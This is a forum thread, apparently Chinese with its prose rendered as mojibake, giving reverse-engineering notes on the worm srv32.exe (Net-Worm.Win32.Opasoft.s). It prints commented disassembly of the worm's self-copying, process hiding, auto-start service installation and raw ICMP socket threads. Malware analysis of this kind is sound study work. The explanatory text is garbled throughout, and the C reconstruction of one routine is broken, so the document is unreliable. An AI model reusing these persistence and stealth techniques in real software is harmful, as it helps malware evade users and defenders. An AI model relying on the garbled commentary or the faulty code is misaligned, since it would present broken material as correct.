²é¿´: 1521  |  »Ø¸´: 12
µ±Ç°Ö÷ÌâÒѾ­´æµµ¡£
µ±Ç°Ö»ÏÔʾÂú×ãÖ¸¶¨Ìõ¼þµÄ»ØÌû£¬µã»÷ÕâÀï²é¿´±¾»°ÌâµÄËùÓлØÌû

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

[½»Á÷] [zt]È䳿 srv32.exe ÄæÏò·ÖÎö±Ê¼Ç£¨½ö¹©¼¼Êõ½»Á÷£©

1 -- Æô¶¯Æª
ÎļþÃû³Æ£ºsrv32.exe
È䳿Ãû³Æ£ºNet-Worm.Win32.Opasoft.s
¹¤¾ß£º   IDA 4.5.1, OllyDbg V1.10

Íѿǣ¬ÓÃIDA·´»ã±à£¬µ½³ÌÐòµÄ¿ªÊ¼Î»Öãº

CODE:00401000 start           proc near
CODE:00401000                 enter   314h, 0
CODE:00401004                 lea     eax, [ebp+ExistingFileName] ; ´æ´¢²¡¶¾Â·¾¶£«Ãû³Æ
CODE:0040100A                 push    100h            ; nSize
CODE:0040100F                 push    eax             ; lpFilename
CODE:00401010                 push    0               ; hModule
CODE:00401012                 call    GetModuleFileNameA ; »ñµÃ²¡¶¾µÄ·¾¶Ãû³Æ
CODE:00401017                 call    GetCommandLineA
CODE:0040101C                 mov     esi, eax

;³ÌÐòÊ×Ïȵ÷ÓÃGetModuleFileNameAºÍGetCommandLineAµÃµ½³ÌÐòËùÔÚ·¾¶£¬ÎļþÃû³ÆºÍ²ÎÊýÐÅÏ¢¡£


CODE:0040101E                 cld
CODE:0040101F                 mov     ah, 20h
CODE:00401021                 lodsb                  
;°ÑDS:[ESI]Ö¸ÏòµÄ×Ö½Ú´æµ½ALÖÐ,¼´µÚÒ»¸ö×Ö·û,ÕâÀïESIÖ¸ÏòÃüÁîÐÐ×Ö·û´®

CODE:00401022                 cmp     al, 22h         ; ±È½ÏESIÖ¸ÏòµÄµÚÒ»¸ö×Ö·ûÊÇ·ñÊÇ£ºË«ÒýºÅ
CODE:00401024                 jnz     short loc_401028 ; ÔÚÕâÀïûÓÐÌø×ª
CODE:00401026                 mov     ah, al

CODE:00401028 loc_401028:
CODE:00401028                 lodsb
CODE:00401029                 test    al, al
CODE:0040102B                 jz      short loc_40105C ; ÅжÏÊÇ·ñµ½ÃüÁîÐÐ×Ö·û´®µÄ½áÊø·û
CODE:0040102D                 cmp     al, ah          ; ±È½Ï
CODE:0040102F                 jnz     short loc_401028

;ÕÒÏÂÒ»¸ö Ë«ÒýºÅ ³öÏÖµÄλÖ㬼´¶¨Î»µ½ÃüÁîÐеijÌÐòÃû³ÆÄ©Î²£¬ÔÙÍùºó¿ÉÄܾÍÊDzÎÊýÁË

CODE:00401031 loc_401031:     lodsb
CODE:00401032                 test    al, al          ; ÅжÏÊÇ·ñµ½ÃüÁîÐÐ×Ö·û´®µÄ½áÊø·û
CODE:00401034                 jz      short loc_40105C
CODE:00401036                 cmp     al, 20h
CODE:00401038                 jz      short loc_401031

;È¡µÚ¶þ´Ë³öÏÖË«ÒýºÅÒÔºóµÄµÚÒ»¸ö·Ç¿Õ¸ñ×Ö·û£¬µ±È»ÊDzÎÊýÁË

CODE:0040103A                 and     al, 0DFh        ; Сд×Öĸת»»³É´óд×Öĸ
CODE:0040103C                 cmp     al, 55h         ; ÃüÁîÐвÎÊý£­'U'
CODE:0040103E                 jz      loc_401107
CODE:00401044                 cmp     al, 44h         ; ²ÎÊý'D'
CODE:00401046                 jz      loc_401165
CODE:0040104C                 cmp     al, 43h         ; ²ÎÊý'C'
CODE:0040104E                 jz      loc_401170
CODE:00401054                 cmp     al, 53h         ; ²ÎÊý'S'
CODE:00401056                 jz      loc_4011DA

;°Ñ²ÎÊýת»»³É´óд£¬Ìøµ½ÏàÓ¦µÄ´¦Àí´úÂ룬Èç¹ûûÓвÎÊý¾Í¼ÌÐøÖ´ÐУ¬ÎÒÃÇÏÈ¿´ÓвÎÊýµÄÇé¿ö
ÏÈÀ´¿´²ÎÊýU°É£¬ÓÃOllyDbg´ò¿ªSrv32.exe,Ñ¡Ôñ²Ëµ¥µ÷ÊÔ->²ÎÊý£¬¼ÓÉϲÎÊýu£¬ÕÒµ½loc_401107£¬°´F4Ö´Ðе½£º

CODE:00401107 loc_401107:
CODE:00401107                 push    esi             ;Ò®£¬ÔõôÓÃESI£¬esiÒѾ­Ö¸ÏòÃüÁîÐÐ×Ö·û´®µÄĩβ
Á˰¡£¿ÏȲ»¹Ü¿´¿´ÏÂÃæ×öʲô²Ù×÷
CODE:00401108                 call    sub_40132B      ;µ÷ÓÃÁ˸ö×Ó³ÌÐò½øÈ¥¿´¿´
CODE:0040110D                 lea     eax, [ebp+ExistingFileName]
CODE:00401113                 push    0               ; bFailIfExists
CODE:00401115                 push    esi             ; lpNewFileName
CODE:00401116                 push    eax             ; lpExistingFileName
CODE:00401116                                         ; ²¡¶¾Â·¾¶£«Ãû³Æ
CODE:00401117                 call    CopyFileA
CODE:0040111C                 test    eax, eax


CODE:0040132B sub_40132B      proc near
CODE:0040132F loc_40132F:
CODE:0040132F                 push    [ebp+lpFileName] ;£¿ÕâÀïµÄÎļþÃûΪ¿Õ£¨PUSH ESI£©
CODE:00401332                 call    DeleteFileA  ;ɾ³ýÎļþ£¬ÎļþÃûΪ¿Õ£¬¸ãʲô¹í
CODE:00401337                 test    eax, eax
CODE:00401339                 jnz     short locret_401351 ;DeleteFileA³É¹¦Í˳öSub_40132B
CODE:0040133B                 call    GetLastError    ;ÔÚÕâÀïÎÒÃÇ·µ»ØÖµÎª3£¨ÏµÍ³ÕÒ²»µ½Ö¸¶¨µÄ·¾¶£©
CODE:00401340                 cmp     eax, 2          ; ÕÒ²»µ½Ö¸¶¨Îļþ
CODE:00401343                 jz      short locret_401351 ; Í˳ö
CODE:00401345                 push    3E8h            ; dwMilliseconds
CODE:0040134A                 call    Sleep
CODE:0040134F                 jmp     short loc_40132F ;³ÌÐòÔÚÕâÀïһֱѭ»·£¬ÄѵÀÊÇBUG,²»»á°É£¿
CODE:00401351 locret_401351:                          
CODE:00401351                 leave
CODE:00401352                 retn    4
CODE:00401352 sub_40132B      endp

;sub_40132BÊÇÒ»¶Îɾ³ýÎļþµÄ²Ù×÷£¬¶øÎļþÃû¾ÍÊÇ[esi]£¬¿´À´²ÎÊýUºóÃæ»¹µÃ¼ÓÉϸöÎļþÃû£¬ÎÒÃǰѲÎÊý¸Ä³É
uabc.txt,¼ÌÐøÍùÏ¿´
´Ósub_40132B³öÀ´£º

CODE:0040110D                 lea     eax, [ebp+ExistingFileName]
CODE:00401113                 push    0               ; bFailIfExists
CODE:00401115                 push    esi             ; lpNewFileName
CODE:00401116                 push    eax             ; lpExistingFileName
CODE:00401116                                         ; ²¡¶¾Â·¾¶£«Ãû³Æ
CODE:00401117                 call    CopyFileA
CODE:0040111C                 test    eax, eax
CODE:0040111E                 jz      loc_401218      ; CopyFileʧ°ÜÌø×ª

°Ñ²¡¶¾¿½±´µ½ÐµÄ·¾¶£¬Å¶£¬UºóÃæµÄ²ÎÊýÊÇ¿½±´²¡¶¾µÄλÖúÍеÄÃû×Ö£¬Èç¹ûÕâ¸öеķ¾¶ÓÐÕâ¸öÎļþ¾Í~~~~~
~~µ÷ÓÃsub_40132Bº¯Êýɾ³ýÕâ¸öÎļþ£¨ÕæºÝ°¡£¡£©
ÏÖÔÚÖªµÀsub_40132BµÄ×÷ÓÃÁË£¬ºÃÔÛÃǼÌÐøÍùÏÂ×ß¡£

CODE:00401124                 lea     edi, [ebp+var_300]
CODE:0040112A                 push    esi
CODE:0040112B                 push    edi
CODE:0040112C                 call    lstrcpy         ; °Ñ²¡¶¾ÐµÄ·¾¶ºÍÎļþÃû´æµ½[ebp+300]
CODE:00401131                 push    edi
CODE:00401132                 call    lstrlen
CODE:00401137                 add     edi, eax
CODE:00401139                 mov     ax, 4420h
CODE:0040113D                 stosw                   ; ´æ´¢0x4420
CODE:0040113F                 lea     eax, [ebp+ExistingFileName]
CODE:00401145                 push    eax
CODE:00401146                 push    edi
CODE:00401147                 call    lstrcpy
CODE:0040114C                 lea     eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152                 push    eax
CODE:00401153                 call    sub_4013A8      ; Õâ¸öº¯Êý´´½¨ÁËÒ»¸ö½ø³Ì
CODE:00401158                 test    eax, eax        ; eaxΪCreateProcessA·µ»ØÖµ
CODE:0040115A                 jnz     locret_40123C   ; ´´½¨½ø³Ì³É¹¦Ìø×ª£¬Ö´ÐÐнø³Ì£¬Í˳ö´Ë³ÌÐò
CODE:00401160                 jmp     loc_401218

Õâ¶Î´úÂëÖÐsrv32ͨ¹ýµ÷ÓÃCreateProcess´´½¨ÁËÒ»¸ö½ø³Ì£¬Ð½ø³ÌµÄÖ´ÐÐÎļþ¾ÍÊÇÉÏÃæCopyFileº¯Êý¿½±´³öµÄ
srv32µÄÒ»¸ö¿½±´¡£
Èç¹û´´½¨½ø³Ì³É¹¦¾ÍÖ´ÐÐеĽø³Ì£¬Í˳ösrv32£»·ñÔòÌø×ªµ½ÈçÏÂλÖãº

CODE:00401218 loc_401218:
CODE:00401218                 push    offset aKernel32_dll ; lpModuleName
CODE:0040121D                 call    GetModuleHandleA
CODE:00401222                 push    offset aRegisterservic ; lpProcName
CODE:00401227                 push    eax             ; hModule
CODE:00401228                 call    GetProcAddress  ; »ñµÃRegisterServiceProcess(Win9xº¯Êý)µØÖ·
CODE:0040122D                 test    eax, eax
CODE:0040122F                 jz      short loc_401237
CODE:00401231                 push    1               ; dwType:
CODE:00401231                                         ; RSP_SIMPLE_SERVICE = 1 Òþ²Ø½ø³Ì
CODE:00401231                                         ; RSP_UNREGISTER_SERVICE = 0 È¡Ïû½ø³ÌÒþ²Ø
CODE:00401231                                         ;
CODE:00401233                 push    0               ; dwPID = NULL ´ú±íµ±Ç°½ø³Ì
CODE:00401235                 call    eax             ; µ÷ÓÃRegisterServiceProcessº¯Êý
CODE:00401237
CODE:00401237 loc_401237:
CODE:00401237                 call    sub_40123E
CODE:0040123C
CODE:0040123C locret_40123C:
CODE:0040123C                 leave
CODE:0040123D                 retn
CODE:0040123D start           endp

;Èç¹û´´½¨½ø³ÌûÓгɹ¦£¬µ÷ÓÃRegisterServiceProcessº¯ÊýÀ´Òþ²Ø½ø³Ì£¬×îºóµ÷ÓÃsub_40123E¡£

;×¢£ºRegisterServiceProcess ÊÇWin9xÖÐÒ»¸öδ¹«¿ªµÄAPIº¯Êý£¬µ÷ÓÃʱÐèҪͨ¹ýGetProcAddressµÃµ½ÆäµØÖ·£¬
;²ÎÊýdwTypeΪ1ʱÒþ²Ø½ø³Ì£¬Îª1ʱȡÏûÒþ²Ø£¬²ÎÊýdwPIDΪ½ø³ÌµÄPID£¬ÎªÁãÔò±íʾµ±Ç°½ø³Ì¡£


ÔÙ¿´ÏÂÒ»¸ö²ÎÊý'D':

CODE:00401165 loc_401165:
CODE:00401165                 push    esi
CODE:00401166                 call    sub_40132B
CODE:0040116B                 jmp     loc_401218
;ºÍ²ÎÊý 'U' Ò»ÑùÒ²µ÷ÓÃÁËsub_40132B£¬Ö»ÊÇÉÙÁËCopyFileµÄ¶¯×÷£¬Ö±½ÓÌø×ªµ½ÁËRegisterServiceProcess
;¿´À´D¾ÍÊÇÓÃÀ´É¾³ýÖ¸¶¨ÎļþµÄ



¼ÌÐø²ÎÊý'C':

:00401170 loc_401170:
CODE:00401170                 call    sub_401355      ; µ÷ÓÃÁËGetProcAddressµÃµ½OpenSCManager..
                                                      ;µÈº¯ÊýµÄµØÖ·
CODE:00401175                 test    eax, eax        ; ·µ»Ø1º¯Êý Sub_401355µ÷Óóɹ¦£¬0ʧ°Ü¡£
CODE:00401177                 jz      loc_401218      ; ʧ°ÜÔòÌø×ª

[ Last edited by sdlj8051 on 2006-10-6 at 11:24 ]
»Ø¸´´ËÂ¥
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

2 -- ³õʼ»¯Æª

2 -- ³õʼ»¯Æª
ÎļþÃû³Æ£ºsrv32.exe
È䳿Ãû³Æ£ºNet-Worm.Win32.Opasoft.s
¹¤¾ß£º   IDA 4.5.1, OllyDbg V1.10

CODE:0040123E sub_40123E      proc near
CODE:0040123E Buffer          = byte ptr -100h
CODE:0040123E                 enter   100h, 0
CODE:00401242                 push    offset aSrv3231415 ; lpName
CODE:00401247                 push    0FFFFFFFFh         ; bInitialOwner
CODE:00401249                 push    0                  ; lpMutexAttributes
CODE:0040124B                 call    CreateMutexA       ; ´´½¨Ò»¸ö»¥³â¶ÔÏó"Srv3231415"
CODE:00401250                 call    GetLastError
CODE:00401255                 test    eax, eax
CODE:00401257                 jnz     locret_401329      ; ´´½¨»¥³âʧ°ÜÔòÌø×ª;Í˳ö³ÌÐò
CODE:0040125D                 call    GetCurrentProcess
CODE:00401262                 push    40h                ; dwPriorityClass
CODE:00401264                 push    eax                ; hProcess
CODE:00401265                 call    SetPriorityClass   ; ÉèÖÃÓÅÏȼ¶ÎªIDLE_PRIORITY_CLASS £½ 0x40
CODE:0040126A                 lea     esi, [ebp+Buffer]
CODE:00401270                 push    100h               ; uSize
CODE:00401275                 push    esi                ; lpBuffer
CODE:00401276                 call    GetWindowsDirectoryA ; »ñµÃWindowsĿ¼
CODE:0040127B                 push    esi                ; lpPathName
CODE:0040127C                 call    SetCurrentDirectoryA ; ÉèÖõ±Ç°Ä¿Â¼ÎªWindowsĿ¼
CODE:00401281                 call    sub_401C98         ; ²éѯÊÇ·ñдÁË×¢²á±íÏî
CODE:00401281                                            ; HKLM\Software\Microsoft\Windows\CurrentVersion\srv32
CODE:00401286                 cmp     dsata, 0
CODE:0040128D                 jz      short loc_401294   ; ûÓÐдע²á±íÏî»ò
CODE:0040128D                                            ; HKLM\...\srv32\D = 0 ÔòÌø×ª
CODE:0040128F                 call    sub_4030EB

½øÈësub_40123Eºó£¬Ê×ÏÈ´´½¨ÁËÒ»¸ö»¥³âSrv3231415£¬Ê§°ÜµÄ»°´Ë³ÌÐò¾ÍÍ˳öÁË£»
È»ºóÓÖÈ¥²éѯע²á±íHKLM\Software\Microsoft\Windows\CurrenteVersion\srv32ÏÂ
"D"µÄÖµ£¬Èç¹ûsrv32´æÔÚDµÄ¼üÖµ²»Îª0Ôòµ÷ÓÃsub_4030EB£¬´úÂëÈçÏ£º

CODE:004030EB sub_4030EB      proc near
CODE:004030EB ThreadId        = dword ptr -4
CODE:004030EB                 enter   4, 0
CODE:004030EF                 cmp     ds:dword_406004, 0
CODE:004030F6                 jnz     locret_403184
CODE:004030FC                 mov     ds:dword_406004, 1
CODE:00403106                 push    18Ch            ; uBytes
CODE:0040310B                 push    0               ; uFlags
CODE:0040310D                 call    LocalAlloc
CODE:00403112                 mov     esi, eax
CODE:00403114                 push    esi             ; lpWSAData
CODE:00403115                 push    101h            ; wVersionRequested
CODE:0040311A                 call    WSAStartup
CODE:0040311F                 mov     edi, eax
CODE:00403121                 push    esi             ; hMem
CODE:00403122                 call    LocalFree
CODE:00403127                 test    edi, edi
CODE:00403129                 jnz     short loc_403186
CODE:0040312B                 push    1               ; protocol:ICMP
CODE:0040312D                 push    3               ; type: SOCK_RAW
CODE:0040312F                 push    2               ; AF_INET
CODE:00403131                 call    socket
CODE:00403136                 cmp     eax, 0FFFFFFFFh
CODE:00403139                 jz      short loc_403192
CODE:0040313B                 mov     ds:s, eax
CODE:00403140                 lea     eax, [ebp+ThreadId]
CODE:00403143                 push    eax             ; lpThreadId
CODE:00403144                 push    0               ; dwCreationFlags
CODE:00403146                 push    ds:s            ; lpParameter
CODE:0040314C                 push    offset sub_403045 ; lpStartAddress
CODE:00403151                 push    1000h           ; dwStackSize
CODE:00403156                 push    0               ; lpThreadAttributes
CODE:00403158                 call    CreateThread
CODE:0040315D                 lea     eax, [ebp+ThreadId]
CODE:00403160                 push    eax             ; lpThreadId
CODE:00403161                 push    0               ; dwCreationFlags
CODE:00403163                 push    ds:s            ; lpParameter
CODE:00403169                 push    offset sub_402EEE ; lpStartAddress
CODE:0040316E                 push    1000h           ; dwStackSize
CODE:00403173                 push    0               ; lpThreadAttributes
CODE:00403175                 call    CreateThread
CODE:0040317A                 mov     ds:dword_406004, 2
CODE:00403184
CODE:00403184 locret_403184:
CODE:00403184                 leave
CODE:00403185                 retn
CODE:00403186 ; ///////////////////////////////////////////////////////////////////////////
CODE:00403186
CODE:00403186 loc_403186:                             ; CODE XREF: sub_4030EB+3Ej
CODE:00403186                 mov     ds:dword_406004, 0
CODE:00403190                 leave
CODE:00403191                 retn
CODE:00403192 ; ///////////////////////////////////////////////////////////////////////////
CODE:00403192
CODE:00403192 loc_403192:                             ; CODE XREF: sub_4030EB+4Ej
CODE:00403192                 call    WSACleanup
CODE:00403197                 mov     ds:dword_406004, 0
CODE:004031A1                 leave
CODE:004031A2                 retn
CODE:004031A2 sub_4030EB      endp


ÔÚsub_4030EBÀï´ò¿ªÁËsocket£¬²¢´´½¨ÁËÁ½¸öỊ̈߳¨¶¯×÷Ô½À´Ô½Ã÷ÏÔÁË ^¡­^£©¡£
ÓÉÓÚÎÒµÚÒ»´ÎÖ´ÐÐûÓд˼üÖµËùÒÔÌø×ªÁË£¬ÎÒÃǾÍÏÈ¿´Ìø×ªµÄÇé¿ö°É£º

CODE:00401294 loc_401294:
CODE:00401294                 mov     ds:dword_406587, 0
CODE:0040129E                 call    sub_4033E7

µ÷ÓÃÁËÒ»¸öcall sub_4033E7¸ú½øÈ¥¿´¿´...

CODE:004033E7 sub_4033E7      proc near
CODE:004033E7                 push    ebp
CODE:004033E8                 mov     esi, offset unk_406DB4
CODE:004033ED                 mov     edi, offset dword_407750
CODE:004033F2                 mov     ebp, 0

CODE:004033F7 loc_4033F7:
CODE:004033F7                 cmp     ebp, 20h
CODE:004033FA                 jnb     short loc_40342F ; ²»µÍÓÚ0x20¾ÍÌø×ª,Í˳öÑ­»·1
CODE:004033FC                 mov     ah, 1

CODE:004033FE loc_4033FE:
CODE:004033FE                 cmp     ah, 40h
CODE:00403401                 ja      short loc_40342A ; ´óÓÚ0x40¾ÍÌø×ª
CODE:00403403                 test    ah, 1
CODE:00403406                 jz      short loc_403409 ; ahµÄµÚ0λΪ0ÔòÌø×ª
CODE:00403408                 lodsb

CODE:00403409 loc_403409:
CODE:00403409                 shl     al, 1
CODE:0040340B                 jnb     short loc_403417
CODE:0040340D                 movzx   ecx, ss:byte_406EB4[ebp]
CODE:00403414                 bts     [edi], ecx

CODE:00403417 loc_403417:
CODE:00403417                 inc     ebp
CODE:00403418                 test    ebp, 3
CODE:0040341E                 jnz     short loc_403409
CODE:00403420                 sub     ebp, 4
CODE:00403423                 inc     ah
CODE:00403425                 add     edi, 4
CODE:00403428                 jmp     short loc_4033FE
CODE:0040342A ; //////////////////////////////////////////////////////////////
CODE:0040342A loc_40342A:
CODE:0040342A                 add     ebp, 4
CODE:0040342D                 jmp     short loc_4033F7
CODE:0040342F ; ///////////////////////////////////////////////////////////////
CODE:0040342F
CODE:0040342F loc_40342F:
CODE:0040342F                 pop     ebp
CODE:00403430                 retn
CODE:00403430 sub_4033E7      endp

Õâ¶Î´úÂëÓÃC±íʾ£º

BYTE array_406DB4[] =
{
  0xE0, 0x4F, 0xD7, 0x14, 0x2E, 0xF2, 0xBD, 0x81,
  0x3A, 0xA6, 0x6C, 0xCB, 0x59, 0x95, 0x03, 0x78,
  0x4F, 0x1C, 0xE8, 0x82, 0xD4, 0x69, 0x21, 0xB7,
  0xF5, 0xCB, 0x93, 0x7E, 0x3A, 0xA0, 0x56, 0x0D,
  0xF3, 0x1D, 0x84, 0xE7, 0x6F, 0xB2, 0x38, 0x4E,
  0x9C, 0x70, 0x21, 0xDA, 0xC6, 0x09, 0x5B, 0xA5,
  0x0D, 0xE8, 0x7A, 0xB1, 0xA3, 0x4F, 0xD4, 0x12,
  0x5B, 0x86, 0xC7, 0x6C, 0x90, 0x35, 0x2E, 0xF9,
  0xAD, 0x07, 0x90, 0xE9, 0x63, 0x34, 0xF6, 0x5A,
  0x12, 0xD8, 0xC5, 0x7E, 0xBC, 0x4B, 0x2F, 0x81,
  0xD1, 0x6A, 0x4D, 0x90, 0x86, 0xF9, 0x38, 0x07,
  0xB4, 0x1F, 0x2E, 0xC3, 0x5B, 0xA5, 0xE2, 0x7C,
  0x7D, 0xD8, 0xEB, 0x35, 0x06, 0x6F, 0x90, 0xA3,
  0x14, 0x27, 0x82, 0x5C, 0xB1, 0xCA, 0x4E, 0xF9,
  0xA3, 0x6F, 0x90, 0x06, 0xCA, 0xB1, 0x7D, 0xD8,
  0xF9, 0x14, 0x35, 0xEB, 0x5C, 0x27, 0x82, 0x4E,
  0x2E, 0xCB, 0x42, 0x1C, 0x74, 0xA7, 0xBD, 0x61,
  0x85, 0x50, 0x3F, 0xFA, 0xD3, 0x09, 0xE8, 0x96,
  0x4B, 0x28, 0x1C, 0xB7, 0xA1, 0xDE, 0x72, 0x8D,
  0xF6, 0x9F, 0xC0, 0x59, 0x6A, 0x34, 0x05, 0xE3,
  0xCA, 0x1F, 0xA4, 0xF2, 0x97, 0x2C, 0x69, 0x85,
  0x06, 0xD1, 0x3D, 0x4E, 0xE0, 0x7B, 0x53, 0xB8,
  0x94, 0xE3, 0xF2, 0x5C, 0x29, 0x85, 0xCF, 0x3A,
  0x7B, 0x0E, 0x41, 0xA7, 0x16, 0xD0, 0xB8, 0x6D,
  0x4D, 0xB0, 0x2B, 0xE7, 0xF4, 0x09, 0x81, 0xDA,
  0x3E, 0xC3, 0x95, 0x7C, 0x52, 0xAF, 0x68, 0x16,
  0x16, 0x4B, 0xBD, 0xD8, 0xC1, 0x34, 0x7A, 0xE7,
  0xA9, 0xF5, 0x60, 0x8F, 0x0E, 0x52, 0x93, 0x2C,
  0xD1, 0x2F, 0x8D, 0x48, 0x6A, 0xF3, 0xB7, 0x14,
  0xAC, 0x95, 0x36, 0xEB, 0x50, 0x0E, 0xC9, 0x72,
  0x72, 0xB1, 0x4E, 0x17, 0x94, 0xCA, 0xE8, 0x2D,
  0x0F, 0x6C, 0xA9, 0xD0, 0xF3, 0x35, 0x56, 0x8B
}
BYTE array_406EB4[] =
{
  0x1A, 0x12, 0x0C, 0x04, 0x16, 0x07, 0x01, 0x11,
  0x0B, 0x13, 0x05, 0x1D, 0x09, 0x0F, 0x19, 0x02,
  0x1B, 0x15, 0x0A, 0x00, 0x1F, 0x06, 0x18, 0x10,
  0x03, 0x17, 0x0D, 0x1C, 0x1E, 0x08, 0x14, 0x0E
};
/*****Ê®½øÖƱíʾ
BYTE array_406EB4[] =
{
  26,18,12,04,22,07,01,17,
  11,19,05,29,09,15,25,02,
  27,21,10,00,31,06,24,16,
  03,23,13,28,30,08,20,14
}
*****/


DWORD pdw_407750[8*0x40];

//i=ebp, j=ah, k=al
int i,j,m=0,n;
BYTE k,temp;
BOOL b;
for(i=0; i< 0x20; i+=4)
{
    j = 1;
    while(j <= 0x40)
    {
  //ÆæÅ¼ÅжÏ
        if( (j & 1) != 0)
        {
      k = array_406DB4[m];
      m++;
  }

  do{
      b = k & 0x80;
      k << 1;
      if(b)
      {
          temp = array_406EB4;
    *pwd_407750 |= (temp+1);  
      }

      i++;
      
  }while( (i&3) !=0 );
  
  i -= 4;  
  j++
  pdw_407750++; //edi += 4;  
    }
}
3Â¥2006-08-23 13:24:35
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû
²é¿´È«²¿ 13 ¸ö»Ø´ð

sdlj8051

½ð³æ (ÖøÃûдÊÖ)

;ÓòÎÊý'C'ʱ£¬µ÷ÓÃÁËÏÂÃæµÄº¯Êýsub_401355

CODE:00401355 sub_401355      proc near
CODE:00401355 hModule         = dword ptr -8
CODE:00401355 var_4           = dword ptr -4
CODE:00401355                 enter   8, 0
CODE:00401359                 push    edi
CODE:0040135A                 mov     [ebp+var_4], 0
CODE:00401361                 push    offset aAdvapi32 ; lpLibFileName
CODE:00401366                 call    LoadLibraryA
CODE:0040136B                 test    eax, eax
CODE:0040136D                 jz      short loc_4013A2 ; µ÷ÓÃLoadLibraryʧ°ÜÊ±Ìø×ª
CODE:0040136F                 mov     [ebp+hModule], eax
CODE:00401372                 mov     edi, offset aOpenscmanagera ; "OpenSCManagerA"
CODE:00401377                 mov     esi, offset dword_406193
CODE:0040137C
CODE:0040137C loc_40137C:
CODE:0040137C                 push    edi             ; lpProcName
CODE:0040137D                 push    [ebp+hModule]   ; hModule
CODE:00401380                 call    GetProcAddress  ; »ñµÃº¯ÊýAdvapi32!OpenSCManagerAµÄµØÖ·
CODE:00401385                 test    eax, eax
CODE:00401387                 jz      short loc_4013A2 ; µ÷ÓÃGetProcAddress ʧ°ÜÊ±Ìø×ª
CODE:00401389                 mov     [esi], eax      ; °ÑOpenSCManagerµÄµØÖ·´æµ½[ESI]ÖÐ
CODE:0040138B                 add     esi, 4
CODE:0040138E                 xor     eax, eax
CODE:00401390                 xor     ecx, ecx
CODE:00401392                 not     ecx
CODE:00401394                 repne scasb
CODE:00401396                 cmp     byte ptr [edi], 0
CODE:00401399                 jnz     short loc_40137C ; Ñ­»·£¬È¡
CODE:00401399                                   ; 00406127 aCreateservicea db 'CreateServiceA'
CODE:00401399                                   ; 00406136 aCloseserviceha db 'CloseServiceHandle'
CODE:00401399                                   ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA'
CODE:00401399                                   ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA'
CODE:00401399                                   ; 00406181 aSetservicestat db 'SetServiceStatus',0
CODE:00401399                                         ; º¯ÊýµÄµØÖ·
CODE:0040139B                 mov     [ebp+var_4], 1  ; Ð޸ķµ»ØÖµ
CODE:004013A2
CODE:004013A2 loc_4013A2:
CODE:004013A2                 mov     eax, [ebp+var_4] ; ³É¹¦·µ»ØÖµ1£¬Ê§°Ü·µ»Ø0
CODE:004013A5                 pop     edi
CODE:004013A6                 leave
CODE:004013A7                 retn
CODE:004013A7 sub_401355      endp

;º¯Êýsub_401355 ÓÖµ÷ÓÃÁËAPIº¯ÊýLoadLibrary("Advapi32"µÃµ½Advapi32µÄÄ£¿é¾ä±ú£¬È»ºóÓÖÑ­»·µ÷ÓÃÁË
GetProcAddress µÃµ½OpenSCManagerA, CreateServiceA, CloseServiceHandle,
StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatusÕâЩº¯ÊýµÄµØÖ·¡£
È»ºó¾Íµ÷ÓÃOpenSCManager,CreateServiceA,´´½¨Ò»¸ö·þÎñsrv32Ö¸Ïòsrv32³ÌÐò£¬Æô¶¯²ÎÊýΪ'S'
ÈçÏ´úÂ룺

CODE:0040117D                 push    2
CODE:0040117F                 push    0               ; SERVICES_ACTIVE_DATABASE
CODE:00401181                 push    0               ; LocalMachine
CODE:00401183                 call    ds:dword_406193 ; OpenSCManagerº¯Êý
CODE:00401189                 test    eax, eax
CODE:0040118B                 jz      loc_401218      ; OpenSCManagerʧ°ÜÔòÌø×ª
CODE:00401191                 mov     esi, eax        ; handle of service control manager database
CODE:00401193                 lea     edi, [ebp+ExistingFileName] ; ²¡¶¾Â·¾¶+ÎļþÃû
CODE:00401199                 push    edi
CODE:0040119A                 call    lstrlen         ; £¨²¡¶¾Â·¾¶£«ÎļþÃû£©µÄ³¤¶È
CODE:0040119F                 mov     edx, edi
CODE:004011A1                 add     edi, eax
CODE:004011A3                 mov     eax, 5320h
CODE:004011A8                 stosd                   ; ´æ´¢0x5320h = " S"
CODE:004011A9                 xor     ecx, ecx
CODE:004011AB                 push    ecx
CODE:004011AC                 push    ecx
CODE:004011AD                 push    ecx
CODE:004011AE                 push    ecx
CODE:004011AF                 push    ecx
CODE:004011B0                 push    edx             ; "ExistingFileName" + " S"
CODE:004011B1                 push    1               ; dwErrorControl = SERVICE_ERROR_NORMAL
CODE:004011B3                 push    2               ; dwStartType = SERVICE_AUTO_START
CODE:004011B3                                         ; ×Ô¶¯Æô¶¯
CODE:004011B5                 push    10h             ; dwServiceType =
CODE:004011B5                                         ; SERVICE_WIN32_OWN_PROCESS
CODE:004011B7                 push    0F01FFh         ; dwDesiredAccess
CODE:004011BC                 push    offset aSrv32_0 ; lpDisplayName = "srv32"
CODE:004011C1                 push    offset aSrv32_0 ; lpServiceName = "srv32"
CODE:004011C6                 push    esi             ; handle of service control manager database
CODE:004011C7                 call    ds:dword_406197 ; CreateServiceAº¯Êý
CODE:004011CD                 test    eax, eax
CODE:004011CF                 jz      short loc_401218
CODE:004011D1                 push    eax
CODE:004011D2                 call    ds:dword_40619B ; CloseServiceHandleº¯Êý
CODE:004011D8                 jmp     short loc_401218

;×îºóÌø×ªµ½loc_401218µ÷ÓÃRegsterServiceProcessÒþ²Ø½ø³Ì£¬ÔÙµ÷ÓÃsub_40123E


ÔÙ¿´²ÎÊý'S':

CODE:004011DA loc_4011DA:
CODE:004011DA                 call    sub_401355
CODE:004011DF                 test    eax, eax
CODE:004011E1                 jz      short loc_401218 ; º¯Êýsub_401355ʧ°ÜÌø×ª
CODE:004011E3                 mov     [ebp+var_314], offset aSrv32_0 ; "Srv32"
CODE:004011ED                 mov     [ebp+var_310], offset loc_401467
CODE:004011F7                 xor     eax, eax
CODE:004011F9                 mov     [ebp+var_30C], eax
CODE:004011FF                 mov     [ebp+var_308], eax
CODE:00401205                 lea     eax, [ebp+var_314]
CODE:0040120B                 push    eax
CODE:0040120C                 call    ds:dword_40619F ; StartServiceCtrlDispatcherA
